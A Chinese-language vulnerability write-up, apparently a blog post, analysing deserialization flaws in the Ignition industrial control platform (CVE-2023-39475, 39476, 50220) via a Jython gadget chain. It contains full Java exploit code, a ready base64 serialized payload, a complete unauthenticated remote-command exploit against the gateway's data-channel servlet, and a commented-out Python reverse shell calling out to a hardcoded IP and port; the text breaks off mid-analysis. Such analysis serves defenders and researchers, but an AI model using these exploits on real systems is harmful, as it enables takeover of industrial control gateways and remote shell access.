Ignition 工控系统 多个反序列化漏洞分析

admin 2024年6月15日23:35:47评论9 views字数 39330阅读131分6秒阅读模式

1

概述

Ignition 是一套全面的工业自动化和数据集成平台,不仅支持跨平台使用,还提供了灵活的模块化设计。它集成了SCADA(监控控制与数据采集)系统和HMI(人机界面)功能,使得用户可以轻松实现实时数据监控、设备控制和工艺管理。Ignition 支持多种工业通信协议,便于与各类设备进行连接,同时其直观的可视化工具让用户能够快速设计出符合需求的界面,有效提升操作效率和决策质量。

Ignition 工控系统 多个反序列化漏洞分析

Ignition近期的版本爆出多个反序列化漏洞,涉及到JavaSerializationCodec、AbstractGateway Function等多个类和接口:

  • CVE-2023-39473 Ignition < 8.1.31 AbstractGatewayFunction 反序列化远程命令执行

  • CVE-2023-39475 Ignition 8.1.22-24 ParameterVersionJavaSerializationCodec 反序列化远程命令执行

  • CVE-2023-39476 Ignition 8.1.22-24 JavaSerializationCodec 反序列化远程命令执行

  • CVE-2023-50220 Ignition < 8.1.35 sample_sqlite_database 反序列化远程命令执行

2

环境搭建

首先从官网下载对应版本安装包,以8.1.30为例

https://inductiveautomation.com/downloads/archive/8.1.30

然后默认安装即可

Ignition 工控系统 多个反序列化漏洞分析
Ignition 工控系统 多个反序列化漏洞分析
Ignition 工控系统 多个反序列化漏洞分析

3

Jython Gadgets Chain 分析

这几个漏洞都是用到了Jython这个链,在这统一分析下

Jython是一个流行的Java实现的Python解释器,允许在Java平台上运行Python代码。可以使用如下配置搭建

<dependency>      <groupId>org.python</groupId>      <artifactId>jython-standalone</artifactId>      <version>2.7.2</version>  </dependency>

调用栈

java.io.ObjectInputStream.readObject    java.util.PriorityQueue.readObject        java.util.PriorityQueue.heapify            java.util.PriorityQueue.siftDownUsingComparator                com.sun.proxy.$Proxy4.compare                    org.python.core.PyMethod.invoke                        org.python.core.PyMethod.__call__                            org.python.core.PyMethod.instancemethod___call__                                org.python.core.PyObject.__call__                                    org.python.core.PyBuiltinFunctionNarrow.__call__                                        org.python.core.BuiltinFunctions.__call__                                            org.python.core.__builtin__.eval                                                org.python.core.Py.runCode

前半部分的触发就是利用PriorityQueue的heapify触发比较器的compare方法,而把比较器设置为代理类,就能触发比较器的invoke方法。

构建一个PyMethod的代理类,接口类型为Comparator,在反序列化队列时,触发代理类compare方法的调用,从而进入到PyMethod#invoke里。然后就是后续构造BuiltinFunctions和pystring

Ignition 工控系统 多个反序列化漏洞分析

利用PriorityQueue的heapify方法

  1. 触发条件:反序列化过程中,PriorityQueue对象被反序列化。在这一过程中,PriorityQueueheapify方法会被调用,以确保队列满足堆的性质。

  2. 利用compare方法:heapify方法工作时,如果PriorityQueue中存在多个元素,它会尝试通过比较器(Comparator)来对这些元素进行排序。这里的关键在于,PriorityQueue被构造时使用了一个特殊的比较器,这个比较器实际上是一个代理类,其代理的目标是一个PyMethod对象。

Ignition 工控系统 多个反序列化漏洞分析

构建代理类实现Comparator接口

  1. 代理类的作用:通过Java的动态代理机制,创建了一个实现了Comparator接口的代理类。这个代理类的compare方法被设计为调用PyMethod的invoke方法。

  2. 触发PyMethod的执行:当heapify方法在排序过程中调用compare方法时,实际上触发了代理类的invoke方法,该方法又进一步调用了PyMethod的invoke。这样,就实现了通过Java的序列化机制间接触发Python代码执行的效果。

Ignition 工控系统 多个反序列化漏洞分析

执行Python代码

  1. 构造BuiltinFunctionsPyString:为了让PyMethod能够执行实际的Python代码,攻击者需要构造合适的Python环境。这包括但不限于BuiltinFunctions(提供Python内置函数的访问),以及PyString(用于表示Python中的字符串对象)等。

  2. 利用eval执行代码:最终,通过PyMethod调用链,可以到达__builtin__.eval,在这一步中,传递给eval的字符串被执行。由于eval能够执行任意Python代码,这就给攻击者提供了一个执行任意代码的机会。

import org.python.core.*;import sun.misc.Unsafe;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.util.Comparator;import java.util.HashMap;import java.util.PriorityQueue;public class Main {    public static void main(String[] args) throws Exception {        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");        unsafeField.setAccessible(true);        Unsafe unsafe = (Unsafe) unsafeField.get(null);        PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);        PyObject builtinFunctions = (PyObject) unsafe.allocateInstance(Class.forName("org.python.core.BuiltinFunctions"));        Field index = builtinFunctions.getClass().getSuperclass().getDeclaredField("index");        index.setAccessible(true);        index.set(builtinFunctions, 18);        pyMethod.__func__ = builtinFunctions;        pyMethod.im_class = new PyString().getType();        HashMap<Object, PyObject> _args = new HashMap<>();//        _args.put("rs", new PyString("print('Hello World')"));        _args.put("rs", new PyString("import os;nos.system('open -a /System/Applications/Calculator.app')"));// 可以直接反弹shell windows的话把bash改成cmd.exe//        String reverseShell = "import os,socket,subprocess,threading;n" +//                "def s2p(s, p):n" +//                "    while True:n" +//                "        data = s.recv(1024)n" +//                "        if len(data) > 0:n" +//                "            p.stdin.write(data)n" +//                "            p.stdin.flush()n" +//                "n" +//                "def p2s(s, p):n" +//                "    while True:n" +//                "        s.send(p.stdout.read(1))n" +//                "n" +//                "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)n" +//                "s.connect(("170.170.22.203", 1389))n" +//                "n" +//                "p=subprocess.Popen(["/bin/bash"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)n" +//                "n" +//                "s2p_thread = threading.Thread(target=s2p, args=[s, p])n" +//                "s2p_thread.daemon = Truen" +//                "s2p_thread.start()n" +//                "n" +//                "p2s_thread = threading.Thread(target=p2s, args=[s, p])n" +//                "p2s_thread.daemon = Truen" +//                "p2s_thread.start()n" +//                "n" +//                "try:n" +//                "    p.wait()n" +//                "except KeyboardInterrupt:n" +//                "    s.close()";//        _args.put("rs", new PyString(reverseShell));        PyStringMap locals = new PyStringMap(_args);        Object[] queue = new Object[] {                new PyString("__import__('code').InteractiveInterpreter().runcode(rs)')"),                locals,        };        // create dynamic proxy        Comparator o = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),                new Class[]{Comparator.class},                pyMethod);        // set comparator        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, o);        Field f = priorityQueue.getClass().getDeclaredField("queue");        f.setAccessible(true);        f.set(priorityQueue, queue);        Field f2 = priorityQueue.getClass().getDeclaredField("size");        f2.setAccessible(true);        f2.set(priorityQueue, 2);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(priorityQueue);        byte[] bytes = byteArrayOutputStream.toByteArray();        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);        objectInputStream.readObject();    }}
Ignition 工控系统 多个反序列化漏洞分析

有几个漏洞需要传入Base64编码的反序列化载荷 将之前的priorityQueue处理下即可

try {    ByteArrayOutputStream byteStream = new ByteArrayOutputStream();    ObjectOutputStream objStream = new ObjectOutputStream(byteStream);    objStream.writeObject(priorityQueue);    objStream.flush();    byte[] serializedBytes = byteStream.toByteArray();    String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);    System.out.println(base64Encoded);} catch (Exception e) {    e.printStackTrace();}

比如 whoami > c://whoami.txt 生成的载荷为

rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc30AAAABABRqYXZhLnV0aWwuQ29tcGFyYXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyABhvcmcucHl0aG9uLmNvcmUuUHlNZXRob2TmiR4qA6EacwIAA0wACF9fZnVuY19fdAAaTG9yZy9weXRob24vY29yZS9QeU9iamVjdDtMAAhfX3NlbGZfX3EAfgAITAAIaW1fY2xhc3NxAH4ACHhyABhvcmcucHl0aG9uLmNvcmUuUHlPYmplY3SfoZG0yMpaXgIAAkwACmF0dHJpYnV0ZXN0ABJMamF2YS9sYW5nL09iamVjdDtMAAdvYmp0eXBldAAYTG9yZy9weXRob24vY29yZS9QeVR5cGU7eHBwcHNyACBvcmcucHl0aG9uLmNvcmUuQnVpbHRpbkZ1bmN0aW9ucy7a048zwV3vAgAAeHIAJG9yZy5weXRob24uY29yZS5QeUJ1aWx0aW5GdW5jdGlvblNldKDFmAjWbPEJAgABSQAFaW5kZXh4cgAnb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uTmFycm933vpBPcKIlwYCAAB4cgAhb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uUaLVAkvaMOECAAB4cgAhb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkNhbGxhYmxlstm62HE/kjICAAJMAANkb2N0ABJMamF2YS9sYW5nL1N0cmluZztMAARpbmZvdAAoTG9yZy9weXRob24vY29yZS9QeUJ1aWx0aW5DYWxsYWJsZSRJbmZvO3hxAH4ACXBwcHAAAAAScHNyACNvcmcucHl0aG9uLmNvcmUuUHlUeXBlJFR5cGVSZXNvbHZlcnuBU8WeYmr5AgADTAAGbW9kdWxlcQB+ABJMAARuYW1lcQB+ABJMABB1bmRlcmx5aW5nX2NsYXNzdAARTGphdmEvbGFuZy9DbGFzczt4cHQAC19fYnVpbHRpbl9fdAADc3RydnIAGG9yZy5weXRob24uY29yZS5QeVN0cmluZ0VnAua8VQypAgACTAAGZXhwb3J0dAAZTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlO0wABnN0cmluZ3EAfgASeHIAHG9yZy5weXRob24uY29yZS5QeUJhc2VTdHJpbmckhIA1NCQU7QIAAHhyABpvcmcucHl0aG9uLmNvcmUuUHlTZXF1ZW5jZVVaTxROQz7hAgABTAAJZGVsZWdhdG9ydAAnTG9yZy9weXRob24vY29yZS9TZXF1ZW5jZUluZGV4RGVsZWdhdGU7eHEAfgAJdwQAAAADc3EAfgAacHEAfgAXc3IAL29yZy5weXRob24uY29yZS5QeVNlcXVlbmNlJERlZmF1bHRJbmRleERlbGVnYXRlbepXKwpypoACAAFMAAZ0aGlzJDB0ABxMb3JnL3B5dGhvbi9jb3JlL1B5U2VxdWVuY2U7eHIAJW9yZy5weXRob24uY29yZS5TZXF1ZW5jZUluZGV4RGVsZWdhdGW999CJdNq/jgIAAHhwcQB+ACBwdAA5X19pbXBvcnRfXygnY29kZScpLkludGVyYWN0aXZlSW50ZXJwcmV0ZXIoKS5ydW5jb2RlKHJzKScpc3IAG29yZy5weXRob24uY29yZS5QeVN0cmluZ01hcJE1xs8kHUMzAgABTAAFdGFibGV0ACRMamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudE1hcDt4cgAcb3JnLnB5dGhvbi5jb3JlLkFic3RyYWN0RGljdDUtefOX2TXrAgAAeHEAfgAJcHNxAH4AFXEAfgAYdAAJc3RyaW5nbWFwdnEAfgAmc3IAJmphdmEudXRpbC5jb25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwZJneEp2HKT0DAANJAAtzZWdtZW50TWFza0kADHNlZ21lbnRTaGlmdFsACHNlZ21lbnRzdAAxW0xqYXZhL3V0aWwvY29uY3VycmVudC9Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50O3hwAAAADwAAABx1cgAxW0xqYXZhLnV0aWwuY29uY3VycmVudC5Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50O1J3P0Eymzl0AgAAeHAAAAAQc3IALmphdmEudXRpbC5jb25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwJFNlZ21lbnQfNkyQWJMpPQIAAUYACmxvYWRGYWN0b3J4cgAoamF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVlbnRyYW50TG9ja2ZVqCwsyGrrAgABTAAEc3luY3QAL0xqYXZhL3V0aWwvY29uY3VycmVudC9sb2Nrcy9SZWVudHJhbnRMb2NrJFN5bmM7eHBzcgA0amF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVlbnRyYW50TG9jayROb25mYWlyU3luY2WIMudTe78LAgAAeHIALWphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLlJlZW50cmFudExvY2skU3luY7geopSqRFp8AgAAeHIANWphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLkFic3RyYWN0UXVldWVkU3luY2hyb25pemVyZlWoQ3U/UuMCAAFJAAVzdGF0ZXhyADZqYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5BYnN0cmFjdE93bmFibGVTeW5jaHJvbml6ZXIz36+5rW1vqQIAAHhwAAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAAB0AAJyc3NxAH4AGnBxAH4AF3NxAH4AIXEAfgBacHQAL2ltcG9ydCBvczsKb3Muc3lzdGVtKCd3aG9hbWkgPiBjOi8vd2hvYW1pLnR4dCcpcHB4eA==

4

开启远程调试

服务端开启调试

修改C:Program FilesInductive AutomationIgnitiondataignition.conf

取消下边两行的注释 开启远程调试 然后重启

Ignition 工控系统 多个反序列化漏洞分析

将上边框中的jar包打包传回本地

lib/wrapper.jarlib/core/common/*lib/core/gateway/*

本地新建项目

本地新建Java项目

Ignition 工控系统 多个反序列化漏洞分析

新建lib文件夹 并把上面提到的jar包放进去

添加为库

Ignition 工控系统 多个反序列化漏洞分析

可以试着搜一下jar包中的内容 如果搜不到 可以尝试(不一定有用)安下Java Decompiler插件 并重新索引 File > Invalidate Caches / Restart... > Invalidate and Restart

Ignition 工控系统 多个反序列化漏洞分析

配置Idea远程调试

Ignition 工控系统 多个反序列化漏洞分析

然后在jar包里代码上下断点调试即可

建议本地跟远程的JDK一致,我刚开始本地是Mac下的Zulu JDK,调试的时候会遇到字节码不一致的情况,建议安装openjdk11

5

CVE-2023-39475 

CVE-2023-39475 和 CVE-2023-39476 都是在 2023 年 Pwn2Own 迈阿密赛筹备过程中被发现和利用的。

影响版本为8.1.22-8.1.24,攻击者无需身份验证即可执行任意代码。

漏洞公开者同时发布了利用工具DoubleTrouble,但是在多个版本上都没有利用成功,还是重新分析下。

环境配置

传入策略设置为unrestricted、取消勾选SSL(非必须)

Ignition 工控系统 多个反序列化漏洞分析

分析

入口在onDataReceived

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  InputStream inputStream = req.getInputStream();  OutputStream outputStream = resp.getOutputStream();  ProtocolHeader header = null;  try {    header = ProtocolHeader.decode(inputStream);  } catch (LocalException e) {    getLogger().error("onDataReceived", "Could not process protocol header from incoming data channel message", e);  }   if (header != null) {    String connectionId = header.getSenderId();    startMdc(connectionId);    Optional<WebSocketConnection> optConnection = getFactory().getIncomingBySystemName(connectionId); // 0    if (optConnection.isEmpty()) {      if (getLogger().isDebugEnabled()) {        getLogger().debug("doPost",             String.format("Data channel error: connection id '%s' was not found on this server. The web socket may be trying to reconnect", new Object[] { connectionId }), null);      }    } else {      if (getLogger().isTraceEnabled())        getLogger().trace("doPost", String.format("Received data message [%d] from %s at %s", new Object[] {                Short.valueOf(header.getMessageId()), header                .getSenderId(), header                .getSenderURL()              }));       ((WebSocketConnection)optConnection.get()).onDataReceived(header, inputStream, outputStream); // 1    }     clearMdc();  } }

需要满足0行optConnection = getFactory().getIncomingBySystemName(connectionId)不为空 然后进入1行onDataReceived

public void onDataReceived(ProtocolHeader header, InputStream inputStream, OutputStream outputStream) {  //...  try {    try {      reserveCapacity();      acquired = true;      TransportMessage msg = TransportMessage.createFrom(new MeterTrackedInputStream(inputStream, this.incomingMeter, true)); // 2      CompletableFuture<Void> routeFuture = null;      Instant routingStartTime = Instant.now();      try {        setSecurityContextInfo();        Instant start = Instant.now();        routeFuture = forward(header.getTargetAddress(), msg); // 3

对于3行的forward

protected CompletableFuture<Void> forward(String targetAddress, TransportMessage msg) { return this.receiveHandler.handle(targetAddress, msg); }

handle

public CompletableFuture<Void> handle(String targetAddress, TransportMessage data) {  CompletableFuture<Void> ret = new CompletableFuture<Void>();  ServerId serverId = ServerId.fromString(targetAddress);  try { ServerMessage sm = ServerMessage.createFrom(data); // 4    ServerId sendingServer = ServerId.fromString((String)sm.getHeaderValues().get("_source_"));    MDC.MDCCloseable ignored = MDC.putCloseable("gan-remote-gateway-name", sendingServer        .toDescriptiveString());    try { updateSecurityContext(sm);      if (this.centralManager.isEndOfRoute(serverId)) {        Exception errResult = null;        if (sm.getIntentName().startsWith("_conn_")) {          handleConnectionMessage(sm); // 5

handleConnectionMessage

protected void handleConnectionMessage(ServerMessage message) throws Exception {  if (this.conn != null) {    boolean available; String intentName = message.getIntentName();    if ("_conn_init".equalsIgnoreCase(intentName)) {      setRemoteServerAddress(ServerId.fromString(message.getHeaderValue("_source_")));      ConnectionEvent.ConnectStatus stat = this.conn.getStatus();      info(String.format("Connection successfully established. Remote server name: %s. Connection status: %s", new Object[] { this.remoteServerAddress, stat }));    }    else if ("_conn_svr".equalsIgnoreCase(intentName)) { // 6      setRemoteServerAddress(ServerId.fromString(message.getHeaderValue("_source_")));      available = "true".equals(message.getHeaderValue("replyrequested"));      ServerRouteDetails[] routes = (ServerRouteDetails[])message.decodePayload(); // 7

6行的intentName需要设置为_conn_svr

对于7行的decodePayload

public <T> T decodePayload() throws Exception {  MessageCodec codec = MessageCodecFactory.get().getCodec(getCodecName()); // 8  return (T)codec.decode(getSourceStream()); //9}

可以将codec设置成不同的MessageCodec

在CVE-2023-39475中是ParameterVersionJavaSerializationCodec (_js_tps_v3)

protected static class ParameterVersionJavaSerializationCodec  implements MessageCodec {  public static final String ID = "_js_tps_v3";  protected static final Logger logger = Logger.getLogger("metro.Codecs.JavaSerializationCodec");  public String getId() { return "_js_tps_v3"; }  public Object decode(InputStream inputStream) throws Exception {    in = null;    try {      in = createObjectInputStream(inputStream);      return in.readObject(); // 11    } finally {      IOUtils.closeQuietly(in);    }   }

就到了我们需要的readObject 

利用

获取systemid可以通过/system/gwinfo接口获取

Ignition 工控系统 多个反序列化漏洞分析

也可以通过以下接口获取

String name = "qq";String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";HttpRequest request = HttpRequest.newBuilder()        .uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))        .GET()        .header("Connection", "Upgrade").header("Sec-WebSocket-Version", "13").header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==").header("Upgrade", "websocket")        .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")        .build();HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");if (headerForRemoteSystemID.size() < 1) {    System.out.println("[X] can't get remoteSystemId");}String remoteSystemId = headerForRemoteSystemID.get(0).split("\|")[0];System.out.println("remoteSystemId=" + remoteSystemId);

6

CVE-2023-39476

跟CVE-2023-39475非常相似 MessageCodec 类换成 JavaSerializationCodec

public class JavaSerializationCodec  implements MessageCodec{  public static final String ID = "_js_";  protected static final Logger logger = Logger.getLogger("metro.Codecs.JavaSerializationCodec");  //...  public Object decode(InputStream inputStream) throws Exception {    in = null;    try {      in = createObjectInputStream(inputStream);      return in.readObject(); // 10    } finally {      IOUtils.closeQuietly(in);    }   }
import org.python.core.PyMethod;import org.python.core.PyObject;import org.python.core.PyString;import org.python.core.PyStringMap;import java.io.ByteArrayOutputStream;import java.io.DataOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.net.URI;import java.net.http.HttpClient;import java.net.http.HttpRequest;import java.net.http.HttpResponse;import java.time.Duration;import java.util.Comparator;import java.util.HashMap;import java.util.List;import java.util.PriorityQueue;public class MainMain {    public static void main(String[] args) throws Exception {        String url = "http://170.170.22.201:8088";        System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Connection,Upgrade");        HttpClient httpClient = HttpClient.newBuilder().connectTimeout(Duration.ofSeconds(30))//                .proxy(ProxySelector.of(InetSocketAddress.createUnresolved("127.0.0.1", 8080)))                .build();        String name = "qq";        String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";        HttpRequest request = HttpRequest.newBuilder()                .uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))                .GET()                .header("Connection", "Upgrade").header("Sec-WebSocket-Version", "13").header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==").header("Upgrade", "websocket")                .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")                .build();        HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());        List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");        if (headerForRemoteSystemID.size() < 1) {            System.out.println("[X] can't get remoteSystemId");        }        String remoteSystemId = headerForRemoteSystemID.get(0).split("\|")[0];        System.out.println("remoteSystemId=" + remoteSystemId);        ByteArrayOutputStream stream = new ByteArrayOutputStream();        DataOutputStream dataOutputStream = new DataOutputStream(stream);        dataOutputStream.writeInt(18753);   // magicBytes        dataOutputStream.writeInt(1);       // protocolVersion        dataOutputStream.writeShort(1);        dataOutputStream.writeInt(1);        dataOutputStream.writeInt(1);        dataOutputStream.writeByte(1);        dataOutputStream.writeShort(name.length());        dataOutputStream.writeChars(name);        dataOutputStream.writeShort(remoteSystemId.length());        dataOutputStream.writeChars(remoteSystemId);        dataOutputStream.writeShort(1);        dataOutputStream.writeChar(47);        dataOutputStream.writeInt(1);        Class<?> aClass = Class.forName("com.inductiveautomation.metro.impl.transport.ServerMessage$ServerMessageHeader");        Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[1];        declaredConstructor.setAccessible(true);        Object o = declaredConstructor.newInstance("_conn_svr", "_js_");         Field headersValues = o.getClass().getDeclaredField("headersValues");        headersValues.setAccessible(true);        HashMap map = (HashMap) headersValues.get(o);        map.put("_source_", remoteSystemId);        map.put("replyrequested", "true");        byte[] bs = serialize(o);        dataOutputStream.writeInt(bs.length);        dataOutputStream.write(bs);        String rce_cmd = "whoami > c://1.txt";        byte[] serialize = serialize(getObj(rce_cmd));        dataOutputStream.write(serialize);        HttpRequest request1 = HttpRequest.newBuilder(URI.create(url + "/system/ws-datachannel-servlet"))                .POST(HttpRequest.BodyPublishers.ofByteArray(stream.toByteArray()))                .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")                .build();        HttpResponse<String> httpResponse = httpClient.send(request1, HttpResponse.BodyHandlers.ofString());        System.out.println(httpResponse.body());    }    public static byte[] serialize(Object o) throws IOException {        ByteArrayOutputStream stream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(stream);        objectOutputStream.writeObject(o);        objectOutputStream.flush();        objectOutputStream.flush();        stream.flush();        return stream.toByteArray();    }    public static Object getObj(String cmd) throws Exception {        Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");        Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];        c.setAccessible(true);        Object builtin = c.newInstance("rce", 18, 1);        PyMethod handler = new PyMethod((PyObject) builtin, null, new PyString().getType());        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);        HashMap<Object, PyObject> myargs = new HashMap<>();        myargs.put("cmd", new PyString(cmd));        PyStringMap locals = new PyStringMap(myargs);        Object[] queue = new Object[]{new PyString("__import__('os').system(cmd)"), locals,};        Field field = priorityQueue.getClass().getDeclaredField("queue");        field.setAccessible(true);        field.set(priorityQueue, queue);        Field declaredField = priorityQueue.getClass().getDeclaredField("size");        declaredField.setAccessible(true);        declaredField.set(priorityQueue, 2);        return priorityQueue;    }}
Ignition 工控系统 多个反序列化漏洞分析
Ignition 工控系统 多个反序列化漏洞分析

7

CVE-2023-50220

漏洞影响版本为Ignition < 8.1.35,需要后台权限(发包时携带cookie)

分析

入口在 com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForawrdRoutes

private String importData(@Nonnull RequestContext request, HttpServletResponse response, String storeName) throws IOException, ServletException {    HttpServletRequest r = request.getRequest();    Part part = r.getPart("file");    try {        request.getGatewayContext().getHistoryManager().importQuarantinedFromXML(storeName, part.getInputStream()); // 1        response.sendRedirect("/web/status/con.history?store=" + storeName);    } catch (Exception var7) {        LoggerFactory.getLogger(this.getClass()).error("Error importing data from xml", var7);    }    return "";}

需要能走到1行

importQuarantinedFromXML

public void importQuarantinedFromXML(String dataStore, InputStream is) throws IOException {        DataSink sink = this.getStore(dataStore);        QuarantineManager qMgr = sink == null ? null : sink.getQuarantineManager();        if (qMgr instanceof QuarantineStore) {            try {                LoggerEx.MDCClosable mdc = this.log.mdcPutClosable("store-forward-name", sink.getPipelineName());                try {                    QuarantinedXmlImporter importer = new QuarantinedXmlImporter(this.context, this, (QuarantineStore)qMgr);                    importer.doImport(is);                } catch (Throwable var9) {                    if (mdc != null) {                        try {                            mdc.close();                        } catch (Throwable var8) {                            var9.addSuppressed(var8);                        }                    }                    throw var9;                }                if (mdc != null) {                    mdc.close();                }            } catch (Exception var10) {                this.log.error(String.format("Error importing quarantined data for store '%s'", dataStore), var10);            }        } else {            throw new IOException(String.format("Data store '%s' not found, or does not currently support quarantined data", dataStore));        }    }

getStore

    @Nullable    public DataSink getStore(@Nullable String storeName) {        synchronized(this.dataStoreEngines) {            DataSink sink = storeName == null ? null : (DataSink)this.dataStoreEngines.get(storeName.toLowerCase());            return sink;        }    }

调试发现Map dataStoreEngines里只有一个值是sample_sqlite_database

所以请求URL为 /data/status/store_forward_import/sample_sqlite_database

URL有了,看一下能被反序列化的数据

@Override // org.xml.sax.helpers.DefaultHandler, org.xml.sax.ContentHandlerpublic void startElement(String uri, String localName, String name, Attributes attributes) throws SAXException {    getLogger().tracef("Start: %s", name);    if (this.currentHistoryElem != null) {        this.dataDepth++;    }    if (!HistoricalDataXmlWriter.DATA_ELEMENT.equals(name) || this.currentHistoryElem != null) {        if (this.currentHistoryElem != null) {            getDelegate().startElement(uri, localName, name, attributes);            return;        }        return;    }    String flavor = attributes.getValue(HistoricalDataXmlWriter.DATA_ATTR_FLAVOR); // 2    String subType = attributes.getValue(HistoricalDataXmlWriter.DATA_ATTR_SUBTYPE); // 3    HistoryFlavor f = this.mgr.lookupFlavor(flavor, subType);    SimpleXMLReader<HistoricalData> flavorHandler = f == null ? null : f.getXmlImportHandler(this.context);    getLogger().debugf("Starting data element for flavor '%s' (located with [%s, %s])", f, flavor, subType);    if (flavorHandler == null) {        getLogger().warnf("No import handler found for historical data flavor '%s/%s', data will not be imported.", flavor, subType);    }    this.currentHistoryElem = new HistoryDataElement(f, flavorHandler);    this.dataDepth++;}
/* loaded from: gateway-api-8.1.31.jar:com/inductiveautomation/ignition/gateway/history/HistoricalDataXmlWriter.class */public class HistoricalDataXmlWriter extends SimpleXMLWriter {    public static final String DATA_ELEMENT = "data";    public static final String DATA_ATTR_FLAVOR = "flavor"; // 对应2行    public static final String DATA_ATTR_SUBTYPE = "subtype"; // 对应3行    public void startDataElement(HistoryFlavor flavor) throws Exception {        String[] strArr = new String[4];        strArr[0] = DATA_ATTR_FLAVOR;        strArr[1] = flavor.typeId();        strArr[2] = DATA_ATTR_SUBTYPE;        strArr[3] = flavor.subTypeId() == null ? "" : flavor.subTypeId();        startElement(DATA_ELEMENT, strArr);    }}

lookupFlavor

/* loaded from: gateway-8.1.31.jar:com/inductiveautomation/ignition/gateway/history/HistoryManagerImpl.class */public HistoryFlavor lookupFlavor(String type, String subtype) {    return this.flavorRegistry.get(flavorKey(type, subtype));}

调试查看flavorRegistry的值

Ignition 工控系统 多个反序列化漏洞分析

所以标签为 flavor="__datasourcedata__" subtype=""

继续查看HistoryFlavor类 发现序列化时会把数据base64编码后存在base64标签中

public void writeToXml(SimpleXMLWriter writer, HistoricalData data) throws Exception {    writer.writeElement("base64", Collections.emptyList(), Base64.encodeObject(data, 2));}

因此载荷的结构如下

